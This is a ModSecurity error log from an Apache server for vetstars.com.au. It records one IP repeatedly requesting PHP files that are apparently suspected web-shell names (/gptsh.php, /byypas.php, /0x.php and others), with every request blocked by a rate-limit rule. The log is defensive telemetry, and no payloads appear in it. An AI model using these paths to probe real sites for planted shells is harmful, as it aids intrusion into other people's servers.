[Thu Apr 23 23:08:23.558348 2026] [:error] [pid 65000:tid 65048] [client 51.103.174.167:33207] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeo1576vRb9j6psK2ZbQdQAAAg8"]
[Thu Apr 23 23:08:24.230916 2026] [:error] [pid 42972:tid 43018] [client 51.103.174.167:35748] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeo16MOAb-3sOknsk4djpgAAAEI"]
[Thu Apr 23 23:08:25.096075 2026] [:error] [pid 64998:tid 65005] [client 51.103.174.167:5906] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeo16YV5EysYcTLjmwiuZQAAAcM"]
[Thu Apr 23 23:08:25.870169 2026] [:error] [pid 42972:tid 43019] [client 51.103.174.167:44852] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeo16cOAb-3sOknsk4djrQAAAEM"]
[Thu Apr 23 23:08:26.713117 2026] [:error] [pid 65000:tid 65040] [client 51.103.174.167:40202] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeo16r6vRb9j6psK2ZbQgQAAAgc"]
[Thu Apr 23 23:08:27.899519 2026] [:error] [pid 65000:tid 65041] [client 51.103.174.167:41820] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeo1676vRb9j6psK2ZbQhwAAAgg"]
[Thu Apr 23 23:08:29.036606 2026] [:error] [pid 42972:tid 43020] [client 51.103.174.167:33168] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeo17cOAb-3sOknsk4djsAAAAEQ"]
[Thu Apr 23 23:08:29.696692 2026] [:error] [pid 46953:tid 46957] [client 51.103.174.167:40233] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeo17UnlpdHh-P6wKbpMeAAAAkE"]
[Thu Apr 23 23:08:30.444853 2026] [:error] [pid 46953:tid 46966] [client 51.103.174.167:35767] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeo17knlpdHh-P6wKbpMfAAAAko"]
[Thu Apr 23 23:08:31.056706 2026] [:error] [pid 59700:tid 59718] [client 51.103.174.167:55711] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeo175XyGZJFeAIDWtk_NwAAAVA"]
[Thu Apr 23 23:08:31.927206 2026] [:error] [pid 42972:tid 43023] [client 51.103.174.167:33712] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeo178OAb-3sOknsk4djsgAAAEc"]
[Thu Apr 23 23:08:32.473610 2026] [:error] [pid 42972:tid 43027] [client 51.103.174.167:33175] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "aeo18MOAb-3sOknsk4djswAAAEs"]
[Thu Apr 23 23:08:33.073974 2026] [:error] [pid 43083:tid 43107] [client 51.103.174.167:55715] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aeo18TC5hrvNXosL83KIywAAANY"]
[Thu Apr 23 23:08:33.649337 2026] [:error] [pid 42972:tid 43035] [client 51.103.174.167:55721] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aeo18cOAb-3sOknsk4djuQAAAFM"]
[Thu Apr 23 23:08:34.223403 2026] [:error] [pid 64998:tid 65018] [client 51.103.174.167:30514] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aeo18oV5EysYcTLjmwiuegAAAdA"]
[Thu Apr 23 23:08:34.856962 2026] [:error] [pid 64998:tid 65011] [client 51.103.174.167:35735] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auth.php"] [unique_id "aeo18oV5EysYcTLjmwiufQAAAck"]
[Thu Apr 23 23:08:36.140540 2026] [:error] [pid 46953:tid 46973] [client 51.103.174.167:55678] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeo19EnlpdHh-P6wKbpMgQAAAlE"]
[Thu Apr 23 23:08:36.824065 2026] [:error] [pid 64967:tid 64983] [client 51.103.174.167:33173] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeo19IAV4GfOOdX8QzqBXAAAAY4"]
[Thu Apr 23 23:08:38.051420 2026] [:error] [pid 42972:tid 43023] [client 51.103.174.167:55669] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeo19sOAb-3sOknsk4djwQAAAEc"]
[Thu Apr 23 23:08:40.293366 2026] [:error] [pid 65000:tid 65044] [client 51.103.174.167:55692] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeo1-L6vRb9j6psK2ZbQoQAAAgs"]
[Thu Apr 23 23:08:41.629519 2026] [:error] [pid 65000:tid 65051] [client 51.103.174.167:5905] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeo1-b6vRb9j6psK2ZbQpgAAAhI"]
[Thu Apr 23 23:08:42.717215 2026] [:error] [pid 42973:tid 43050] [client 51.103.174.167:55666] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeo1-m6I0QqmmmLTHE05mQAAAIc"]
[Thu Apr 23 23:08:43.957142 2026] [:error] [pid 46953:tid 46963] [client 51.103.174.167:52776] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeo1-0nlpdHh-P6wKbpMjQAAAkc"]
[Thu Apr 23 23:09:30.773532 2026] [:error] [pid 42971:tid 42994] [client 51.103.174.167:40202] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/userfuns.php"] [unique_id "aeo2KjEP2_5RswrH8bE3eQAAAAg"]
[Thu Apr 23 23:09:32.351280 2026] [:error] [pid 42972:tid 43018] [client 51.103.174.167:39458] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/userfuns.php"] [unique_id "aeo2LMOAb-3sOknsk4dj-wAAAEI"]
[Thu Apr 23 23:09:33.633793 2026] [:error] [pid 42972:tid 43026] [client 51.103.174.167:51564] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/userfuns.php"] [unique_id "aeo2LcOAb-3sOknsk4dj_QAAAEo"]
[Thu Apr 23 23:09:35.136143 2026] [:error] [pid 46953:tid 46965] [client 51.103.174.167:31691] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/userfuns.php"] [unique_id "aeo2L0nlpdHh-P6wKbpMxwAAAkk"]
[Thu Apr 23 23:09:36.429329 2026] [:error] [pid 46953:tid 46969] [client 51.103.174.167:30457] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aeo2MEnlpdHh-P6wKbpMyQAAAk0"]
[Thu Apr 23 23:09:38.260826 2026] [:error] [pid 64998:tid 65003] [client 51.103.174.167:51527] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aeo2MoV5EysYcTLjmwiu8gAAAcE"]
[Thu Apr 23 23:09:39.215579 2026] [:error] [pid 42971:tid 42995] [client 51.103.174.167:30448] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aeo2MzEP2_5RswrH8bE3hQAAAAk"]
[Thu Apr 23 23:09:41.245515 2026] [:error] [pid 64998:tid 65013] [client 51.103.174.167:5769] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aeo2NYV5EysYcTLjmwiu-AAAAcs"]
[Thu Apr 23 23:09:42.896756 2026] [:error] [pid 64998:tid 65020] [client 51.103.174.167:39108] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeo2NoV5EysYcTLjmwiu_AAAAdI"]
[Thu Apr 23 23:09:44.930450 2026] [:error] [pid 65000:tid 65041] [client 51.103.174.167:5779] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeo2OL6vRb9j6psK2ZbRNAAAAgg"]
[Thu Apr 23 23:09:46.744393 2026] [:error] [pid 43083:tid 43092] [client 51.103.174.167:41030] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeo2OjC5hrvNXosL83KI-QAAAMc"]
[Thu Apr 23 23:09:47.982090 2026] [:error] [pid 64998:tid 65012] [client 51.103.174.167:33662] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeo2O4V5EysYcTLjmwivBQAAAco"]
[Thu Apr 23 23:09:50.772848 2026] [:error] [pid 42972:tid 43019] [client 51.103.174.167:28549] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "aeo2PsOAb-3sOknsk4dkCQAAAEM"]
[Thu Apr 23 23:09:52.426976 2026] [:error] [pid 65000:tid 65032] [client 51.103.174.167:32700] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "aeo2QL6vRb9j6psK2ZbROQAAAgM"]
[Thu Apr 23 23:09:53.196494 2026] [:error] [pid 65000:tid 65045] [client 51.103.174.167:42238] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "aeo2Qb6vRb9j6psK2ZbRPgAAAgw"]
[Thu Apr 23 23:09:54.000823 2026] [:error] [pid 59700:tid 59723] [client 51.103.174.167:41026] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "aeo2QZXyGZJFeAIDWtk_kAAAAVU"]
[Thu Apr 23 23:09:54.512799 2026] [:error] [pid 42972:tid 43028] [client 51.103.174.167:46518] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeo2QsOAb-3sOknsk4dkDQAAAEw"]
[Thu Apr 23 23:09:55.046390 2026] [:error] [pid 42972:tid 43016] [client 51.103.174.167:30791] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeo2Q8OAb-3sOknsk4dkDgAAAEA"]
[Thu Apr 23 23:09:55.826553 2026] [:error] [pid 42971:tid 43003] [client 51.103.174.167:30835] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeo2QzEP2_5RswrH8bE3jQAAABE"]
[Thu Apr 23 23:09:56.487901 2026] [:error] [pid 59700:tid 59724] [client 51.103.174.167:37447] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeo2RJXyGZJFeAIDWtk_lAAAAVY"]
[Thu Apr 23 23:09:57.300374 2026] [:error] [pid 64967:tid 64970] [client 51.103.174.167:42237] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeo2RYAV4GfOOdX8QzqBqQAAAYE"]
[Thu Apr 23 23:09:58.424654 2026] [:error] [pid 42971:tid 42990] [client 51.103.174.167:38147] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeo2RjEP2_5RswrH8bE3jgAAAAQ"]
[Thu Apr 23 23:09:59.062488 2026] [:error] [pid 42973:tid 43058] [client 51.103.174.167:38754] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeo2R26I0QqmmmLTHE052AAAAI8"]
[Thu Apr 23 23:10:00.127789 2026] [:error] [pid 59700:tid 59705] [client 51.103.174.167:38751] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeo2SJXyGZJFeAIDWtk_mwAAAUM"]
[Thu Apr 23 23:10:01.097047 2026] [:error] [pid 43083:tid 43099] [client 51.103.174.167:34878] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aeo2STC5hrvNXosL83KJCAAAAM4"]
[Thu Apr 23 23:10:02.544782 2026] [:error] [pid 42972:tid 43038] [client 51.103.174.167:35265] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aeo2SsOAb-3sOknsk4dkGAAAAFY"]
[Thu Apr 23 23:10:03.500874 2026] [:error] [pid 65000:tid 65052] [client 51.103.174.167:30841] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aeo2S76vRb9j6psK2ZbRRAAAAhM"]
[Thu Apr 23 23:10:04.389854 2026] [:error] [pid 42973:tid 43043] [client 51.103.174.167:35298] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aeo2TG6I0QqmmmLTHE053AAAAIA"]
[Thu Apr 23 23:10:06.473208 2026] [:error] [pid 64998:tid 65026] [client 51.103.174.167:35295] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aeo2ToV5EysYcTLjmwivFAAAAdg"]
[Thu Apr 23 23:10:07.488032 2026] [:error] [pid 43083:tid 43086] [client 51.103.174.167:34823] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aeo2TzC5hrvNXosL83KJEAAAAME"]
[Thu Apr 23 23:10:09.092737 2026] [:error] [pid 42972:tid 43026] [client 51.103.174.167:41110] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aeo2UcOAb-3sOknsk4dkIAAAAEo"]
[Thu Apr 23 23:10:11.219587 2026] [:error] [pid 42972:tid 43030] [client 51.103.174.167:57263] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aeo2U8OAb-3sOknsk4dkIQAAAE4"]
[Thu Apr 23 23:10:14.418183 2026] [:error] [pid 43083:tid 43091] [client 51.103.174.167:30799] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeo2VjC5hrvNXosL83KJHgAAAMY"]
